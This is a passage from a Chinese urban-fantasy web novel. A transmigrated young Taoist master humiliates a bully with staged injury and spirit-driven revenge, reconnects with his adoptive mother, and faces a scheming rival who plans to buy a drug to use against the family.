段安洛不慌不忙地又舀了一勺冰送入口中,这才慢悠悠地、极其认真地审视起万凯旋的脸。 片刻后,他唇角微微上扬,吐出一句把万凯旋气炸的话:“你不是你爹亲生的。” 万凯旋瞬间被这句话气懵了,怒火直冲天灵盖,“你他妈还敢骂我!” 他猛地推开车门跳下车,“你才不是你爹亲生的!不对,你连你爹是谁都不知道,你就是个来路不明的野种!占了明轩的位置还欺负他!今天撞上我算你倒霉,看我不替明轩好好教训你!” 面对暴怒的万凯旋,段安洛依旧一脸平静,甚至带着点探究的意味:“你确定要动手打我?你要是真确定了……”他顿了顿,语气轻飘飘的,“我可就躺下了。” 这话如同一盆冰水,兜头浇在万凯旋的脑门上,段安洛现在的样子,单薄、苍白、仿佛风一吹就会倒,怎么看都像得了绝症。 万家确实家大业大,但产业都是他大哥在管,他爸对他这个小儿子一向不待见。真在大街上把段安洛打出个好歹,甚至闹出人命,伤了万家的名声,他爸绝对饶不了他。 可狠话撂了,人也下车了,众目睽睽之下,再灰溜溜地回去?他不要面子的吗? 他强撑着气势,色厉内荏地吼:“你!你他妈给我道个歉!再给明轩磕头认错,我就饶了你!” 段安洛仿佛没听见他的威胁,一边慢条斯理地用勺子挑着刨冰里的水果,一边继续火上浇油:“你是个什么品种的狗啊?别人说什么你都信?金毛?是不是大金毛?” 他摇了摇头,“不对,网上说金毛看谁都像好人。你这脾气……啧,见人就咬,你是不是有疯狗病啊?” 说到这里,段安洛语气又一顿,他突然往前凑了一点,十分好奇的问:“你会偷偷吃屎吗?” 万凯旋被段安洛气得脸色由红转紫,额头上青筋直蹦,再也按捺不住,挥拳就要冲上去:“你他妈给我出来!我要打死你!” “停!”段安洛猛的抬起一只手,做了个阻止的手势,打断了对方的动作,神色异常严肃,“动手之前,我还话要说。” 万凯旋被这架势唬得一愣,随即在心里冷笑,按段安洛以前的狗脾气,早就扑上来揍他了。 他俩以前不是没打过架,段安洛下手又黑又狠,向来是能动手绝不废话。 今天这么反常,话还这么多,万凯旋心里笃定:这小子肯定是离开段家后混得跟条流浪狗似的,得了什么重病,他快不行了,他在虚张声势! 段安洛又吃了一口冰,这才抬眼,用一种极其真诚的语调,陈述科学事实般的语气,慢条斯理地说:“我真没骗你,你真不是你爹亲生的。你看看你爹,不说玉树临风,年轻的时候也算个白面小生吧?再看看你。” 段安洛的目光在他脸上扫了一圈,目光中透着怜悯,“你脑门长得像爬叉,脸型长得像……裤衩?你没有镜子总有尿吧?就不能撒泡尿好好照照你自己?你五官有哪一点长得像你爹?” 万凯旋浑身发抖,气的。 段安洛还嫌没气死他,一边摇头一边撇着嘴“啧啧啧”,“诶?你妈也不是你外公亲生的?你舅舅也不是?你是你舅舅的种?老天爷啊,你们家这关系……比街口的大黄情史都乱。” 万凯旋脸色发紫,已经被气得要失去理智,段安洛不怕死的加了一句:“你应该不知道大黄是谁吧?是我们街上有名的流浪狗,看见小母狗就扑,结果被人拉去噶了蛋,呵呵。” “你!你他妈的!”万凯旋捂着心口,快上不来气了。 段安洛一脸怕怕,屁股往后挪了挪,仿佛躲什么脏东西,“你别跟我说话了,我嫌你脏。” 这一连串精准又狠毒的人身攻击,就像连环炮一样,炸得万凯旋理智全无,他红着眼睛冲过来,“我他妈弄死你!!” “住手!你想干什么?”刚买完衣架的江源一出店铺,就看到有人气势汹汹要对他师祖动手,他可是练过的,情急之下隔着好几米就猛冲过来,举着木头衣架,一个箭步挡在段安洛身前,怒视着万凯旋。 然而,江源刚站稳,就被身后一股轻柔的力量推开。 小孩焦急地回头看段安洛:“师祖!您没事吧?他没碰到您吧?” 段安洛朝他使了个眼色,“往边上稍稍,一会儿咱们就有钱买空调了,还能加个沙发。” 江源一时没反应过来,茫然地看着自家祖师爷,啥意思? 万凯旋被江源唬的一愣,停了一下,段安洛从小电车里钻出来,理了理身上的衣服,眼神带着挑衅:来,打我,我看你敢不敢打我? 万凯旋忍无可忍,拳头又对着段安洛砸下去。 然后就看到段安洛的身体极其自然地一晃,整个人如同断了线的木偶,软绵绵地倒下去,躺在了绿油油的草地上。 “啊!”江源被吓得三魂飞来俩半,师祖被打了! 躺在地上的段安洛,气若游丝,捂着胸口,脸色瞬间变得煞白,眼看着就没气了。 “师祖!!!”江源凄厉的呼喊声瞬间吸引了更多的人。 紧接着,江源离魂了,因为太害怕了,魂魄自己就冒出来了,身体“嘎巴”一下子,也躺下了。 “又打一个!”华夏人最喜欢看热闹了,瞬间就围上来不少人,“打人了!快看啊,开跑车的富二代打人了!” “下手真狠啊,把人从车上抓出来打!我亲眼看着这个漂亮小伙子倒下去的。” “真没人性啊,你看看,把人给打成什么样了,都快没气了。” 万凯旋看着自己的手,“不是,我根本就没碰到他们!” “都快把人打死了,还说没碰到!” 段安洛挣扎着坐起来,仿佛下一秒就能死过去,“你是报警,还是私了?” “我尼玛!”万凯旋看着躺在地上的段安洛,心里又惊又怒,忍不住爆了粗口。他强作镇定,色厉内荏地吼道:“你他妈绝对是装的!你根本就没事!” 段安洛没有说话,只是静静地坐在那里,一双清冷的眸子平静无波地注视着他。 那目光里没有愤怒,没有哀求,只有一种洞悉一切的淡漠。 万凯旋被这眼神看得心里发毛,剩下的话生生咽了回去。 他仔细审视着段安洛,脸色苍白得近乎透明,嘴唇也没什么血色,他身体差,怎么看都不像是装的。 一旦报了警,送去医院验伤,中途折腾出什么事来,他有嘴也说不清。 退一万步讲,就算最后证明不是他打的,他爸也饶不了他。 段安洛毕竟在段家被养了二十多年,那份情谊不是假的。段安洛被赶出家门的时候,段夫人还偷偷给段安洛送生活费。如果知道他把段安洛打出问题,段家会怎么想?他家和段家可是有生意来往的。 一股憋屈感涌上心头,万凯旋狠狠咬了咬牙,今天算是彻底栽在段安洛手里了。 但是给钱?绝对不可能! 他猛地转身,几乎是逃跑似的快速钻进了自己的跑车,只想立刻离开这个是非之地。 他心里发着狠:回去就去段家告状! 告诉段家段安洛现在多么下作、多么不要脸,居然当街碰瓷! 然而,他一踩油门,“噗……”引擎好像放了一个屁,竟然熄火了。 万凯旋心头一紧,再次点火,跑车毫无反应。 他又试了几次,新买的跑车竟然像块铁疙瘩,纹丝不动。 “妈的!真是邪门了!”万凯旋气得一拳砸在方向盘上,震得手指生疼,龇牙咧嘴。 遇见段安洛就他妈没一件好事!以前是,现在更是倒了血霉! 另一边,江源缓过来,先去扶他师祖。 在江源的搀扶下,段安洛慢慢站起身,他抬手,安慰似的在江源头顶上轻轻拍了拍,一股极其细微的暖流拂过,江源只觉得刚才因为着急变得飘忽的心神瞬间安稳下来。 段安洛心说,小徒孙这魂魄不稳的毛病,有机会得好好查查根源,给他治治。 江源只是紧张地上下打量着段安洛:“师祖!您真的没事儿吧?吓死我了!” 段安洛拍了拍衣服上的尘土,语气平淡:“没事,现在有事的是他。” 他抬了抬下巴,“他欠我钱。” 就在对方冲上来打他的时候,一些属于原主的记忆碎片涌入了段安洛的脑海,他想起来了。 眼前这个万凯旋,在原主被赶出段家后,可没少干落井下石的龌龊事。 为了替段明轩出气,这混蛋竟然指使小混混堵住原主,将他打了一顿,还抢走了他身上仅有的钱。 那是原主被冻结所有资产、身无分文离开段家后,养母偷偷给他的钱,结果被万凯旋的人一张不剩地抢走了。 而对段明轩做的那些事,原主确实做过,不过都是中了段明轩的圈套,被激怒之后情绪失控做出来的。 不得不说,那个段明轩是个狠角色,为达目的,敢对自己下狠手。 原主离开段家后再也没想回去,就是不想再打扰段家人的生活,为了不让疼爱他的养父母和哥哥为难,原主忍下所有的委屈。 段安洛用了原主的身体,肯定会支持他的决定,他本身也不可能回去。以后段明轩不来惹他,他就和段明轩没有关系。 如果段明轩敢来惹他,他就把段明轩埋了。 25 洛洛,你不认妈妈了吗? 万凯旋激动的站起来,“不是,我说半天你们不相信我?段安洛他现在真的学坏了,他无耻!” 段家夫妇脸上没什么表情,看万凯旋的眼神已经有点不满了,守着父母骂孩子,这跟打父母的脸有什么区别? 其实段家当初没真想把段安洛送走,从一出生就以为是自己亲生的,夫妻俩对他倾注了所有的爱,发现段安洛不是亲生的之后,他们也非常难受。 不过段家家大业大,不在乎多养一个孩子,大不了所有的东西都买双份,他们就当多生了一个孩子,一样去疼爱,好好弥补对段明轩的亏欠。 两个孩子有摩擦,这是肯定的,毕竟关系尴尬,做父母的只能努力去调节两人的关系。 他们以为只要物质上满足他们,情感上照顾到每一个人,没有利益冲突,两个孩子就会和平相处,以后就会成为好兄弟。 段明轩确实谨小慎微,乖巧懂事,胆小的令人心疼,就害怕段家把他赶出去。他什么都不争,什么都不抢,好东西即便是送到他房里,他都不敢要。 而段安洛,却是越来越过分,不断的找明轩的麻烦,甚至想要明轩的命。 他们赶他走,只想让他吃点苦头,受点教训,想着他在外面撑不下去,总会低个头、认个错,回来后就不会再和明轩过不去。 回忆涌上心头,林婉秋眼泪刷刷往下掉,“当初就不该把他赶走,把他送到外地也行啊,派人跟着他,他就不会学坏。肯定是在外面的日子太苦了,他才会变成这样。” 段铎海重重地哼了一声,脸色铁青地接过话:“你看看他!走了之后可曾给家里打过一个电话?发过一条消息?一次都没有!全当我们是陌路!” 他的语气里有愤怒,也有失望,“我们把他捧在手心里养了二十多年,他却走得这么决绝。” 当初就是因为这个,他这才狠下心不派人去找他。 哪有老子给儿子低头的? 还是个犯错的儿子。 林婉秋心痛的说:“可现在他竟然……竟然沦落到去街上讹人。” 林婉秋一边说一边观察丈夫的脸色,她亲手养大的孩子,从小锦衣玉食,娇惯着长大,虽然性子是骄纵了些,但绝对没养成仗势欺人、无法无天的二世祖。 当妈的知道,他骨子里是多么清高,小时候冤枉了他,他宁愿挨打都不会说一句软话。 如今听到他做出这种事,林婉秋觉得里面肯定有猫腻,万凯旋这孩子也不是什么好东西,以前就和她家洛洛过不去,他的嘴里能有什么实话? 不过这倒是个好机会,把段安洛接回来,教育一顿,就不让他在外面受罪了。 见丈夫没什么反应,林婉秋猛地站起来,担忧地说:“我去看看他,我得亲眼看看他到底怎么样了。” 段铎海厉声打断她的计划:“看什么看!” 他猛地一拍桌子,震得茶杯叮当响,“道德败坏!自甘堕落!我看他就是在外面学坏了!你不许去!也不许他再踏进这个家门半步!” 客厅里一片死寂,林婉秋捂着脸坐下,眼泪像断了线的珠子,怎么擦都擦不断。 万凯旋在一旁暗笑,活该!段安洛就死在外面吧,永远都不要回来! 他还给段明轩使眼色,看我,一招就断了段安洛的后路。 段明轩只是用担心的眼神看着父母,看都不看他。 这个傻逼,这时候看他做什么?不会想让自己跟他一起庆祝吧?脑子里装狗屎了? 你说段安洛在外面过得不好,这不是在他两口子心口撒盐吗?他们早就想把段安洛接回来了。 他之前废了那么大的劲才把段安洛赶出去,他要的是段安洛死在外面,你他妈这是给两口子递台阶呢! 万凯旋发现段明轩不搭理自己,还以为段明轩没看见,又给他使眼色。 段明轩内心:草尼玛! 段明轩怕父母看出来,这时候也不得不开口了,“爸,让我妈去看看吧,实在不行就让我哥回来,我没事的,都是一家人,过去的事就让它过去吧。” 与其让别人给他们台阶下,不如自己递上去,这样还显得自己大度。 他都这样说了,父母考虑到他的感受,肯定不会让段安洛回来。 段铎海确实在考虑段明轩的感受,他是受害者,只要他不松口,他就不会让段安洛回来。 既然他都这么说了,段铎海紧绷的肩背微微松弛下来,他端起茶杯,浅浅的喝了一口,语气生硬的说:“既然明轩都替他求情,你要是实在放心不下,就偷偷去看一眼。记住,只许远远地看!不许让他发现,更不许跟他见面!看一眼,就给我立刻回来!” 段明轩浑身僵硬,脸上努力挂起平日里他常用的温顺笑容,让自己看起来乖巧的像只小绵羊,指尖却死死的掐在掌心,疼痛在提醒着他,不能失态。 段铎海夫妇看段明轩的眼神透着心疼,这孩子,太懂事了。 他越是这样,两口子越觉得亏欠了他,段铎海声音尽量柔和下来,“下个月我抽时间,咱们全家一起去海边玩几天。这张卡给你,你提前去买一些喜欢的东西。” 林婉秋也说:“对,想买什么就买什么,别心疼钱,我看你手机和电脑用的时间也不短了,现在出了新款,明天妈陪你去买。” “谢谢爸妈,我手机和电脑才用了几个月,都不用换。”段明轩脸上带着笑,低下头的时候,眼神却冷下来。 他还是低估了段安洛在两口子心里的重量,二十多年的养育,有时候能超越血缘。 公司的股份,一半在父亲手里,另一半牢牢握在大哥手中。 父亲正直壮年,离死还远的很。 大哥精明强干,是父亲心中理所当然的继承人,公司自然是留给大哥的。 按照段安洛在父亲心里的份量,到死的时候,老头子即便不给他股份,也会给段安洛留一大笔钱,保证他下半辈子的生活。 凭什么? 他这些年吃的苦,都是段安洛造成的,回到段家后他隐忍、克制,甚至刻意扮演着与世无争的角色,不就是为了钱吗? 老头子手里的钱应该全是他的,是他应得的。 如果老头子还有点良心,就应该把大哥手里的钱也留给他,毕竟大哥有能力,自己出去开个公司也能活得很好。 他不是,他没有学过管理公司,以前的父母只是普通上班族,一个月工资也才几千块钱。 他不会管理公司,但是他认钱。他知道段家这些钱能让他什么都不用做,也够花一辈子。 以前,他的第一步是让段安洛滚出段家,等他站稳脚跟,下一步就是大哥手里的股份。 他知道自己的能力,在管理公司这方面根本就争不过大哥,他只能另辟捷径,把大哥弄到身败名裂,让父亲把他赶出去。 反正以大哥的能力,到哪儿都饿不死,他看在血脉亲情的份上,给他留活路了。 然后是手里有钱的爸,最后是只知道哭的废物妈。他们没养过他,也别想用亲情绑架他,他只要钱。 现在他计划变了,段安洛就是一个炸弹,在段家随时能炸的炸弹。 段安洛也不知道是哪里来的野种,竟然不是他养父母的孩子,到现在都没找到亲生父母,还在外面做流浪狗。 这两口子心疼他,没准还会接他回来,看他妈那意思,已经按耐不住了。 他该怎么办? 他能怎么办? 有没有一场让全家都死,只剩他自己的意外? 万凯旋看不懂段家的弯弯绕绕,反正段安洛他爸亲口说的,不会让他回来,那应该就回不来了。 他回去的路上挺高兴的,这样明轩就会夸他厉害了吧,以后这个圈子里的人再也不会有人拿他和段安洛比较了。 他长得不好看又不是他的错,老拿他跟段安洛比什么? 其实当初段安洛离开段家的时候,他真想让小混混把他那张脸给划烂。 可惜当时顾虑有点多,他怕段家后悔,紧接着就把段安洛找回去,没敢下手。 想想今天看到段安洛的样子,他后悔了,他当初应该把他的脸划烂。 坐进车里,想到段安洛看自己的眼神,一股邪念莫名从心底窜起,段安洛那张脸,是他妈勾人。如果那双冷漠的眼睛染上情欲,不知道是什么颜色。 万凯旋这么一想,呼吸不受控制的加粗,他在自己大腿上掐了一把,暗暗骂道:真是疯了,一定是段安洛那张脸太勾人了! 可邪念一起,却怎么都压不下去。 就在这时候,眼前突然一黑,万凯旋下意识的往车外看,就发现外面的路有些陌生。他随口问了一句:“万叔,这是新路吗?以前好像没走过。” 司机在他们家工作了很多年了,他的声音万凯旋早就熟的不能再熟了,这时却听一个陌生的声音说:“是呀,这是黄泉路。” 一股凉意从脚底板直窜后脑勺,万凯旋心里所有的邪念都没有了,整个人绷直了身体,惊恐的看着前面的人。 “万叔,你在说什么?”他的声音在颤抖,那个声音绝对不是万叔的。 就见在前面开车的司机,身子突然一歪,卡在两个座位中间,能让他清楚地看见他的后脑勺。 然后脑袋咔嚓一下,整个往后旋转了180度。 万叔笑着裂开嘴,露出一口大白牙,“没错的少爷,这就是黄泉路啊,咯咯咯咯……” 万凯旋被吓的忘记了反应,脑子里一片空白,连心脏都几乎停跳。 “啊啊啊……”呼吸上来的万凯旋尖叫出声,紧接着嗓子就好像被掐住了一样,极度的恐惧让他连声音都发不出来,两眼一翻,直接晕了过去。 坐在副驾驶的小鬼纠正同伴:“你笑的不对,不是咯咯咯咯……要桀桀桀桀……反派都是这样的。” 吓唬万凯旋的那个小鬼指着他裤子,“可是效果很好啊,他已经尿了。” 再看被吓晕过去的万凯旋,裤子上已经湿了一大片。 童子尿才对他们有影响,像这种私生活不检点的人,身上本来就带有一些负面磁场,尿出来的尿他们根本就不怕,只会觉得恶心罢了。 俩小鬼嫌弃的吐了吐舌头,晦气! 司机对此毫无所觉,只听见万凯旋“啊”了一声之后就没动静了,他好奇的叫了他两声,没人回应,他开着车也没多想。反正他家二少脾气差,经常一惊一乍的,惹他烦了他还会骂人。 到了家之后,司机发现万凯旋“睡着了”,打开车门叫他。 万凯旋睁开眼就看到司机那张脸,车里的一幕在记忆里回笼,万凯旋惊恐的大叫:“你别过来!鬼啊!!!” 司机不解的看了看身后,“少爷,你怎么了?” 万凯旋他妈听到动静也跑出来,“这是怎么了?” 司机一脸茫然,“不知道啊,路上还好好的。” 万凯旋连滚带爬的从另一侧的车门爬出去,一走路,裤子滴滴答答……夏天穿的少,能让人一眼就能看清楚发生了什么,在场的人看他的眼神都不对了。 连他妈都觉得丢人,“你怎么回事?你这么大了怎么还能……”她咬了咬牙,实在没好意思说出尿裤子这三个字。 万凯旋根本就顾不得别人怎么看,他指着司机哆哆嗦嗦的说:“妈,他是鬼,他是鬼!我看见他头拧后面去了!” 司机尴尬的笑了笑,心想他是不是得罪了二少爷,这是想找个借口把他辞了? 万凯旋他爸一回来,就听见万凯旋发疯,他本来就烦,一看到万凯旋的裤子,万总暴怒的骂道:“你个不成器的东西!像什么样子!” 自己长得好,媳妇儿也好看,大儿子也长得帅气,老二长得像什么玩意儿? 宽脑门,大方脸,都说外甥像舅,这句话在万凯旋身上展现的淋漓尽致。 重点是万总跟他大舅哥的关系不好,从年轻的时候就不好,娶他老婆的时候大舅哥没少下绊子,以至于他现在看见小儿子也不待见。 被父亲一吼,万凯旋吓得缩到母亲身后,不敢吭声。 万总没好气的骂了句:“滚回去!” 万凯旋如蒙大赦,狼狈跑回自己房间。 万总揉着胀痛的太阳穴,径直回房休息去了。今晚有应酬,他喝了不少酒,疲惫不堪,直接躺下睡觉了。 没几分钟他就睡着了,梦里模模糊糊,很多影子在他脑海里转。 “万凯旋不是你的儿子,别让他混淆了咱们万家的血脉!” “你竟然睡得着,你头顶都绿了,你不照照镜子看看你自己,绿的跟长了毛的王八精一样!睡什么睡,赶紧给我起来!” “你老婆把你绿了,你个傻逼,早知道后代里能出你这么个傻子,当初老子就应该把你爹射墙上!” …… 万凯旋他爸一下子就被气醒了,这谁啊?骂的这么脏! 什么叫他被绿了?虽然他嫌弃老二长得丑,但老二跟他舅长得像啊,他妻子也不敢绿他,他们感情一直不错。 再次睡着的时候,那群影子已经拿出了鞭子,对着他不断地抽,“你赶紧去查万凯旋!他不是你儿子!记住了没有?” “万凯旋是不是你亲生的,你去做个鉴定不就知道了,你媳妇和你大舅子不是亲兄妹,他那是随他舅吗?那是随他亲爹!你个傻屌!” 这次万总真的被打疼了,一下子就清醒了。 他坐起来缓了好久,背上还在火辣辣的疼,就像真的被抽打过一样。如此真实的感受,让他心里犯了嘀咕。难道真是祖宗显灵?他媳妇儿和大舅哥不是亲兄妹? 沉默片刻,他拿起手机,拨通了一个号码:“你帮我去查一下……嗯,对,别让夫人知道。” 这一查不要紧,万家彻底乱了。 他妻子和大舅哥都不是老丈人亲生的。 当年老丈人不孕不育,怕别人笑话,从两家各抱来一个孩子,装作自己儿女双全。 两个孩子后来发现不是他亲生的,就搞到了一起。老丈人怕被别人看笑话,赶紧找了个人,把女儿嫁出去,他就是那个倒霉蛋。 万总终于明白过来,怪不得当年结婚的时候大舅哥一直使绊子,看他各种不顺眼,他不是娶他妹妹,是娶他老婆! 一时间,万家鸡飞狗跳。 万凯旋害怕了,他怎么也想不明白,家里好好的日子,为什么突然变成这样了? 他竟然真的不是他爸亲生的,段安洛说要告诉他爸,难道真的是段安洛说的?段安洛又是怎么知道的? 脑海中莫名想起段安洛那句,你惹我干嘛? 是啊,他惹他干嘛?他为什么要惹他? 万凯旋悔得肠子都青了。 万总看见他就觉得恶心,从门边上拿起一根棍子,对着万凯旋身上抽,“你给我滚出去!以后别让我再看见你!敢回来就打死你!” 万凯旋抱着头狼狈的跑了出去,他现在不是万家二少爷了,再加上平时他对别人的态度不好,也没人愿意帮助他。 车、房、银行卡,全都被没收了。 他舅舅那边也不要他,舅舅已经结婚了,他回去干什么?抢家产吗?他舅妈不同意。 万凯旋一时间无家可归,想到自己落得这个下场,都是为了给段明轩出气,他想去找段明轩借点钱,没想到连段明轩的人都没见到。 下人给他送来500块钱,段明轩意思是:他在段家的日子也不好过,这是他攒了很久的零花钱,全都给万凯旋了。以后让万凯旋不要再来找自己,他对他已经情至意尽。 万凯旋傻了,500块钱够干什么的?去酒店住一宿都不够! 他昨晚明明看到段明轩他爸给他一张银行卡,让他想买什么就买什么,还能换手机和电脑,段明轩能是没有钱吗? 26 邪恶的小猪佩奇 段安洛张了张嘴,母亲这个字,终究没有叫出口。 林婉秋忍不住,扑过来抱住段安洛就开始哭,年过半百依旧优雅地保持风度的女人,此时已经不顾形象,只有一个母亲对孩子几个月的牵肠挂肚和心疼。 段安洛一动都不敢动,这要怎么哄,他没哄过啊! 他亲娘死的早,他小时候想娘的时候只能看她画像,美美地,像仙子一样。 他也不知道女人的眼泪能这么多,像开闸一样,每一滴都能砸他心口上,烫得他心口一颤一颤的。 林婉秋哭了一会儿,把心里的委屈发泄出来后,捧着段安洛的脸,越看越心疼,“你怎么瘦成这样?是不是没钱,舍不得吃饭?” 再看段安洛身后,林婉秋眼泪又掉下来,“你……你怎么住在这种地方?” 她的心都要碎了。 段安洛尴尬的往后退了半步,“我挺好的,这不是正在修吗?再有三天就修好了。” “刚装修好也不能住人啊。” “您放心吧,买的都是展品。”段安洛怕她这种有钱人听不懂,解释:“都是店家摆在展柜上,给客人看的样品,已经摆了好几个月,店家想换新样品才卖的,您放心,有害的东西都散没了,还是八成新,半价,很合适。” 他这么一说,林婉秋更心疼了,拉着段安洛的手,“走,跟妈回家。” 段安洛抓住她的手腕,“我不能回去。” “你说的什么话,那永远是你的家。本来你爸不同意,他就是气你走了之后不跟家里联系,心寒了。是明轩劝你爸,让我来看你的。只要你们不吵架了,好好相处……” “妈,”段安洛终于叫出一直在嘴边徘徊的称呼,打断她的话,“你们才是一家人,我回去只会破坏家庭和睦,让你们为难。别管以前怎么样,你们一家人以后好好过日子,别管我了。” 林婉秋又哽咽了,“你也是无辜的啊,你以前也不知道,这不是你的错,是大人们的错。我也不知道为什么当初会抱错。” 她生孩子选的是高档医院,一人一个病房。她记得很清楚,那一晚生孩子的只有两家,病房离得还很远,发现抱错后段家派人去调查过,可惜二十多年都过去了,那家医院早就拆了。即便没拆,当时的监控也查不到了。 更奇怪的是段明轩的养父母不是在那个医院生的,段安洛也不是那家的孩子,林婉秋只怪大人没看好,小婴儿知道什么,他们才是受害者。 段安洛看出她的自责,安慰道:“不是你的错,你没有做错什么。” 反而是福运绵延的命格,养母是个心地善良之人,可惜眉间一道黑线,将这个福运斩断,要是不除,恐有性命之忧。 林婉秋擦了擦眼泪,掏出包里的卡,往段安洛的手里塞,“你要是害怕你爸,我回去跟他说,妈这里还有些钱,你先拿着,去租个房子住。等我跟你爸说好了,就来接你。” 段安洛赶紧拒绝,“我不用。” 林婉秋伤心的问:“你连妈妈的钱都不要了吗?” 段安洛怕她又哭,赶紧解释:“不是您想的那样,我不拿你们的钱,我自己能赚钱。” “你看看你现在……”脸色那么差,瘦的皮包骨头,穿着廉价的衣服,住这么破旧的房子,要是能赚到钱,还能过成这样? 林婉秋心疼之后,是恼怒,“你这孩子怎么这么倔?你低头认个错会死吗?啊?” 段安洛被吓得一哆嗦,好可怕! 刚才还哭得梨花带雨,她怎么说翻脸就翻脸? 问题是她还能一边哭一边骂,要是他没看错的话,她下意识的抬了抬手,是想揍他? 段安洛又往后退了一步,惹不起。 林婉秋哭得更伤心了,眼泪啪啪的往下掉,这才多长时间,孩子就跟她不亲了,小时候软软的一个小团子,她捧在手心养这么大,如今个子高到她都要仰着脸看他,他却不认妈了。 “您别哭了。”段安洛不知所措,硬着头皮擦掉她的眼泪,安慰:“眼睛哭肿了,就不好看了。” 段安洛感觉自己就像个小偷,偷了原身的母爱,心里的愧疚让他不安,他想要告诉她实情,话到了嘴边却不知道怎么说出口。死这个字,对一个母亲来说,太沉重了。 心里也有种感觉,一直在拒绝他说出来,这可能原身留给他的执念,就像刚才见到她之后,他心底突然放大的委屈,还有看见她哭的时候心脏揪着疼。 林婉秋保养的再好,鬓角也能看见零星的几根白色发根。段安洛目光落在那一小截刺眼的白色发丝上,感觉心口又疼了。 以前的记忆在脑海中翻腾,他看到很多日常中的点点滴滴,父亲很忙,母亲是全职太太,原身就是她亲手养大的。母子俩的感情很好,这些记忆就像段安洛自己经历的一样,深深地刻在脑海中,也影响了段安洛的情感,“妈,您是不是站了一天了?累不累?我先带您去吃饭,然后送您回家。” “不了,你爸爸催我好几次了。”林婉秋本来就是想偷看一眼,结果来了就舍不得走了,看到段安洛现在过的日子,她更舍不得走。 可是她也要考虑明轩的感受,她要是不回去,怕明轩心里不舒服。 她想的是,不急于一时,等以后洛洛回家就好了,她回去还要安抚明轩。 她把卡硬塞进段安洛的手里,“钱你拿着,多吃点,别委屈了自己。”段安洛刚想拒绝,话还没说呢,她就翻脸了,“拿好了,别逼我打你。” 段安洛一脸懵,好凶! “行了,我走了。”林婉秋又看了眼周围的环境,叹了口气。 段安洛张了张嘴,没敢再拒绝,“妈,您路上注意安全。” 林婉秋走后,段安洛觉得手里这张卡特别沉重,更重要的是:妈妈,您没告诉我密码。 还有,我身份证号是多少?我想办身份证! 有身份证才能去坐跑得快的大火车,还有天上飞的大飞机,他太想坐了! 段安洛对着空气勾勾手指,“跟着她去段家,找机会把户口本给我偷过来,偷不过来也要把我的身份证号记下来。这件事办好了给你加一个月的香火。” 身后刮过一缕风,没影了。 段安洛掐指算了一下,又对着角落勾了勾手指,“你跟着一起去,盯住一个叫段明轩的人,他手里不管有什么,都给他自己喂下去,办好了也给你加一个月的香火。 再看身后一群伸脖子瞪眼的毛茸茸,段安洛挥挥手,“你们想去都去吧,都加。” 这次风比较大,吹过的时候,把段安洛的衣角都掀飞了。 林婉秋回到家后,向丈夫解释自己回来晚的原因,“那个地方实在太偏僻了,连车都开不进去。等我找到他的时候已经是下午了……” 林婉秋说着眼圈又红了,“我没跟他说话,只是看了看就回来了。他过得实在太不好了,本来脸就不大,瘦的脸上摸不着肉,跟生过一场大病似的,穿着件不知道从哪里淘换的大背心,松松垮垮的……这么热的天,住的地方连空调都没有。” 她的话里满是心疼,就差直接说要把段安洛接回来了。 段铎海意味深长的说:“脸上摸不着肉,确实瘦了。” 林婉秋表情一顿,怨念的看着丈夫,揭她短? 段铎海太了解自己的妻子了,从她红肿的眼睛就能看出她肯定在外面哭过。说什么没跟段安洛说话,这根本不可能。她之所以赶在晚饭前回来,无非是怕明轩多心。 可每当看到妻子落泪,段铎海就什么脾气都没有了,不自觉地心软下来,“再等等吧,看看明轩怎么说。” 他顿了顿,话锋一转,“我派人去调查了明轩的养父母,找到了他们搬家前的住处。” 林婉秋惊讶地问:“你查他们做什么?” “自己养大的孩子是什么品性,我们心里清楚。按理说,安洛不会做出那些事。” 段铎海想了想,沉声道:“反倒是明轩的养父母品行不端,附近的邻居没有一个不骂他们的。偷盗、打架、家暴……特别是他那个养父,没有一份工作能干满半年,做什么都一事无成。明轩在那种环境下长大……” 段铎海没有继续说下去,但林婉秋已经明白了丈夫的意思。那样的家庭环境下长大的孩子,他们家的基因有多强,才能让孩子出淤泥而不染? 段铎海轻声说:“他们兄弟俩的事,我怕另有隐情,但我现在没有证据,安洛确实动手了。” …… 晚饭后,段明轩躺在床上辗转难眠,他有种感觉,如果再不做点什么,这两口子就要把段安洛接回来了。 半夜,他翻出一个电话号码,拨通后,电话那头传来一个低沉的声音:“不是说好不再联系吗?” 段明轩急切地说:“求你帮帮我,我现在攒了不少钱。” 对方发出一声轻笑:“段家人待你不薄啊。” “段安洛要回来了。” “不可能,他已经死了。” 段明轩咬牙切齿地说:“他没死!我妈今天去看他了。” 电话那头陷入沉默。 段明轩压低声音:“我把所有的钱都给你,大概有二十多万。你能帮我个忙吗?” “二十万,买不了命。” “不是要段安洛的命,我想要之前给段安洛吃的那种药,能让人控制不住情绪的,要三份。” 对方简短地回答:“你的钱不止二十万,你在撒谎。” 段明轩顿住,他拿出二十万,是怕段家发现他花钱却没买到东西,怕引起怀疑。他手里确实还有,“那就三十万。” “四十万,两份药,想买明天中午十二点,去第一次见我的地方找我,我只等你三分钟。” 段明轩咬着牙,他算了算,手里的钱全加起来,都不够四十万,还差三万多。 没办法了,他打开网贷小程序,周末大哥就回来了,那个药必须买。 这时候,窗帘微微抖了一下,段明轩被吓了一跳,细看什么都没有,他心想,应该是自己太紧张了。 第二天一早,段安洛捧着刚到手的户口本,激动地抱住小狐狸蹭来蹭去,蹭得小狐狸直翻白眼。 “我可是狐仙!”小狐狸抗议,“老娘在五仙里排第一位,就算是马家的人见了我都得尊称一声姑奶奶!要不是看你长得好看,早把你打到桌子底下去了!” 段安洛完全不在乎小狐狸的想法,他正沉浸在终于摆脱黑户身份的喜悦中。 他早就打听好了,只要有户口本就能在网上申请补□□件。以后他就能去坐大火车、大飞机了!他要从华夏的这头坐到那头,再从另一侧绕回来。 拍完照片后,他让小狐狸赶紧把户口本送回去,别被发现了。 女人的第六感比较强,林婉秋总觉得这两天家里有点不对劲,又说不上来哪里不对劲,就感觉心里静不下来。 她想破头也不会想到,她家这三层别墅里,已经悄悄聚集了三十多只有灵性的仙家。地上爬的、地下钻的、房梁上站的……保证连只苍蝇飞进来,都要被掀开翅膀查一下公母。 就在她的梳妆台上,还有三只刺猬正撅着屁股跳《大香蕉》。 日子越来越好了,上了供桌之后吃多了,闲的蛋蛋都疼。 几天后,段安洛的家终于装修完毕,除了用作库房的房间保持原样外,其他地方都焕然一新。 定制的家具陆续送进来,沙发、桌椅、空调、洗衣机,还有两个摇椅和一张玻璃小茶几。 他把茶几摆在窗边,这样就能一边喝茶一边欣赏窗外的景色。 